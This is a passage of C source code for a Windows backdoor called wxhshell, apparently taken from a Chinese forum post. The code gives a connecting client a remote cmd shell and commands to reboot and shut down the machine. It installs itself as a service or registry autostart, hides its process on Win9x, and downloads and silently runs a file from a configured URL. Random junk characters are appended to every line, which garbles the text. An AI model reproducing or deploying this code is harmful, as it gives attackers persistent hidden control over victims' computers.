    switch(cmd[0]) { x*7Q  
  @/f'i9?oM`  
  // 帮助 `%ulorS  
  case '?': { f@7HVv&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u}Q cyG^  
    break; U"L 7G$  
  } MR3\7D+9y  
  // 安装 Y6:b  
  case 'i': { \qZ>WCp>r  
    if(Install()) J{qsCJiB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:!f_mu|  
    else Sk7sxy<F'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /C\tJs  
    break; |9Pi*)E  
    } ;6AanwR6  
  // 卸载 \S]` { kY,  
  case 'r': { YU,fx<c  
    if(Uninstall()) ] =*G[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wT>~7$=L{  
    else  U!O"f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1<;RI?R[9  
    break; R>T9 H0  
    } ,+GS.]8<  
  // 显示 wxhshell 所在路径 PP&9ORG  
  case 'p': { [x8_ax} w  
    char svExeFile[MAX_PATH]; 1G<S'd+N  
    strcpy(svExeFile,"\n\r"); .Q5zmaA]  
      strcat(svExeFile,ExeFile); )j\9IdkU;y  
        send(wsh,svExeFile,strlen(svExeFile),0); T-a [  
    break; XmAu n  
    } h-+vN hH  
  // 重启 ?d' vIpzO!  
  case 'b': { U+-R2w]#q_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7#+>1 "\  
    if(Boot(REBOOT)) ;q&uk -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iBh.&K{j  
    else { AkAQ%)6qV  
    closesocket(wsh); /1h ${mo~  
    ExitThread(0); D5"Xjo*  
    } MN^d28^/  
    break; m(KBg'kQ  
    } w\lc;4U   
  // 关机 \N[2-;[3  
  case 'd': { l8H8c &  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +%=lu14G  
    if(Boot(SHUTDOWN)) M REB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >UnLq:G  
    else { ]O&\Pn0q  
    closesocket(wsh); 3Pgld*i7  
    ExitThread(0); ^y.|KA3[  
    } ac%x\e$  
    break; L ARMZoyi  
    } k@P?,r  
  // 获取shell L Z}m;  
  case 's': { p\22_m_wd  
    CmdShell(wsh); 5$&',v(  
    closesocket(wsh); utU ;M*  
    ExitThread(0); 5Zuk`%O  
    break; ^GnR1.ux  
  } IC:>60A,]  
  // 退出 uNf97*~_  
  case 'x': { e7r3o,!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9c{T|+ ]  
    CloseIt(wsh); 5;@2SY7 ,  
    break; ]ONBr(M\  
    } F60?%gg  
  // 离开 C;0VR  
  case 'q': { kgP6'`}E[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y?AvcY.  
    closesocket(wsh); \ 0/m$V.  
    WSACleanup(); 3?Fe( !@  
    exit(1); -unQ 4G  
    break; m+QZ|  
        } cJ#n<Rsz  
  } *r)dtI*  
  } I{i6e'.jP  
}poLH S/  
  // 提示信息 1vinO!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GG %*d]  
} ^G14Z5.  
  } ($Q|9>5,  
[&pMU)   
  return; 2"EaF^?\  
} zmFS]IOv$  
2oo\SmO]  
// shell模块句柄 w1LZ\nA<  
int CmdShell(SOCKET sock)  Y-+JDrK  
{ qOflvf  
STARTUPINFO si; 5a|{ytP   
ZeroMemory(&si,sizeof(si)); %-<6Z9otc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rP IAu[],g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kf#iF*  
PROCESS_INFORMATION ProcessInfo; xy-Vw"I[bh  
char cmdline[]="cmd"; Q%W>m0 %  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]F3fO5Z  
  return 0; %awr3h>$  
} 5[]Yxl  
5!BW!-q  
// 自身启动模式 HV{W7)  
int StartFromService(void)  0:$pJtx"  
{ O~|Y#T  
typedef struct xy]oj  
{ z.;!Pj  
  DWORD ExitStatus; r<B pX["  
  DWORD PebBaseAddress; &q +l5L"  
  DWORD AffinityMask; C=t9P#g*.  
  DWORD BasePriority; O*yA50Cn  
  ULONG UniqueProcessId; h0")NBRV&  
  ULONG InheritedFromUniqueProcessId; Ro=dgQ0:t  
}   PROCESS_BASIC_INFORMATION; ,I H~  
vCUbbQz  
PROCNTQSIP NtQueryInformationProcess; 7n*"9Ai(  
G4ycP8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nF]zd%h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a,h]DkD  
+zK?1llt  
  HANDLE             hProcess; EY0,Q {  
  PROCESS_BASIC_INFORMATION pbi; 84coi  
e?pQuF~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t/@t_6m}*  
  if(NULL == hInst ) return 0; i,rX. K}X  
+&G]\WX<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X6=o vm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LTuT"}dT[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); % CQv&d2  
 r}}2 Kl  
  if (!NtQueryInformationProcess) return 0; !6hV|2aJy  
& jm1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JAy-N bb\  
  if(!hProcess) return 0; o .V JnrJ  
n. vrq-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rm`P.;%  
yq[. WPve  
  CloseHandle(hProcess); lYmxd8  
c]"w0a-`^@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j /@<=  
if(hProcess==NULL) return 0; tJ .Ln  
Z29LtKr  
HMODULE hMod; ! F<::fN  
char procName[255]; 7g:Lj,Z4L  
unsigned long cbNeeded; -@@ O<M^  
53>(2 _/[r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <d O ~;  
LI<Emez  
  CloseHandle(hProcess); G8'  
5s@xpWVot  
if(strstr(procName,"services")) return 1; // 以服务启动 sRZ?Ilua6  
 FL b  
  return 0; // 注册表启动 g_0| `Sm  
} n2|@Hz_  
AR{$P6u!%|  
// 主模块 O* lE0~rJ  
int StartWxhshell(LPSTR lpCmdLine) IC1nR u2I  
{ DXQ]b)y+N  
  SOCKET wsl; c}s#!|E0v  
BOOL val=TRUE; *=tA},`\7  
  int port=0; y6Ez.$M  
  struct sockaddr_in door; LW#U+bv]Dq  
+S'm<}"1  
  if(wscfg.ws_autoins) Install(); 8_pyfb  
nJ$2RN  
port=atoi(lpCmdLine); TpI8mDO\W  
FL4BdJ\  
if(port<=0) port=wscfg.ws_port; '6\ZgOO9  
pH(X;OC 9S  
  WSADATA data; s p+'c;a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jp|eKZ  
E)wf'x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JeF$ W!!{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9|Ylv:sR  
  door.sin_family = AF_INET; YW"uC\kg|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KT+{-"4-  
  door.sin_port = htons(port); o ZQ@Yu3  
aX*9T8H/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `\'V]9wS  
closesocket(wsl); PF#<CF$=  
return 1;  P1)87P  
} `P <#kt  
IusZYB  
  if(listen(wsl,2) == INVALID_SOCKET) { :*^aSPlV  
closesocket(wsl); A%x0'?GU  
return 1; FHEP/T\5  
} 3177R>0  
  Wxhshell(wsl); j-VwY/X  
  WSACleanup(); UZ "!lpg  
sbhzER  
return 0; [rW];H8:~  
x-W~&`UU  
} EhW"s%Q  
Lf%=vd  
// 以NT服务方式启动 dp&G([  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zz+v3o0  
{ U| ?68B3  
DWORD   status = 0; mU"Am0Bdjq  
  DWORD   specificError = 0xfffffff; Y[_|sIy*  
B/o8r4[80  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,k*%=TF7N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FBvh7D.hV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  \S1W,H|  
  serviceStatus.dwWin32ExitCode     = 0; sKJr34  
  serviceStatus.dwServiceSpecificExitCode = 0; 0-;>O|U3  
  serviceStatus.dwCheckPoint       = 0; =vvd)og  
  serviceStatus.dwWaitHint       = 0; lrL:G[rt  
Dr[;\/|#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a)c;z@r  
  if (hServiceStatusHandle==0) return; =f [/Pv  
.lM]>y)  
status = GetLastError(); Zu~w:uNmU  
  if (status!=NO_ERROR) u&[L!w  
{ 9 W|'~r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FP}I+Ys  
    serviceStatus.dwCheckPoint       = 0; o|q5eUh=EY  
    serviceStatus.dwWaitHint       = 0; @vXXf/  
    serviceStatus.dwWin32ExitCode     = status; ew~?&=  
    serviceStatus.dwServiceSpecificExitCode = specificError; U@CAQ?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ob'" ^LO\  
    return; !uO@4]:Y  
  } WRwx[[e6z  
Hc[@c)DH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3 S*KjY'@  
  serviceStatus.dwCheckPoint       = 0; +u*Pi  
  serviceStatus.dwWaitHint       = 0; DVMdRfA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _0FMwC#DY  
} e6mm;@F>  
0 f$96sl  
// 处理NT服务事件,比如:启动、停止 G 9 (*F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JtsXMZz  
{ >)G[ww[  
switch(fdwControl) Yl lZ5<}  
{ MkjB4:"  
case SERVICE_CONTROL_STOP: "'@D\e}  
  serviceStatus.dwWin32ExitCode = 0; 7Z~JuTIZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *9xxX,QT8Q  
  serviceStatus.dwCheckPoint   = 0; <2L,+  
  serviceStatus.dwWaitHint     = 0; %{pjC7j#  
  { 68(^*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cruBJZr*  
  } =:zPT;K  
  return; @YQ*a4`  
case SERVICE_CONTROL_PAUSE: HFTeG4R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b/Ma,}  
  break; z wRF-{s  
case SERVICE_CONTROL_CONTINUE: 8 hhMuh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z5 @i"%f  
  break; _+nk3-yQw  
case SERVICE_CONTROL_INTERROGATE: Tx]p4wY:D  
  break; w{ |`F>f9  
}; b 9"t%R9/Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _| cSXZ|  
} +N7<[hE;  
lJ]QAO  
// 标准应用程序主函数 u\= 05N6G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Otx>S' 5  
{ <[-{:dH,5  
I)vR  
// 获取操作系统版本 Z 4i5,f  
OsIsNt=GetOsVer(); 5Phsh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q }>3NCh  
7I#C[:7x  
  // 从命令行安装 ?e4H{Y/M  
  if(strpbrk(lpCmdLine,"iI")) Install(); U`8Er48X  
WagL8BpLx  
  // 下载执行文件 maY.Z<lN  
if(wscfg.ws_downexe) { 7l/lY-zO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !lL `L \  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1?^ P=^8   
} je2"D7D  
K]Vp! G  
if(!OsIsNt) { )=X g  
// 如果时win9x,隐藏进程并且设置为注册表启动 MffCk!]  
HideProc(); P0(LdZH6u  
StartWxhshell(lpCmdLine); @1&"S7@}u  
} ?u?mSO/  
else iAk.pH]a  
  if(StartFromService()) B(vCi^  
  // 以服务方式启动 Z<^EZX3N  
  StartServiceCtrlDispatcher(DispatchTable); [7~AWZU3  
else J$5 G8<d>  
  // 普通方式启动 ?Js4 \X!uJ  
  StartWxhshell(lpCmdLine); MBw;+'93qf  
vu.?@k@  
return 0; V*fv>f:Yv  
}
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只看该作者 1 发表于: 2006-10-10
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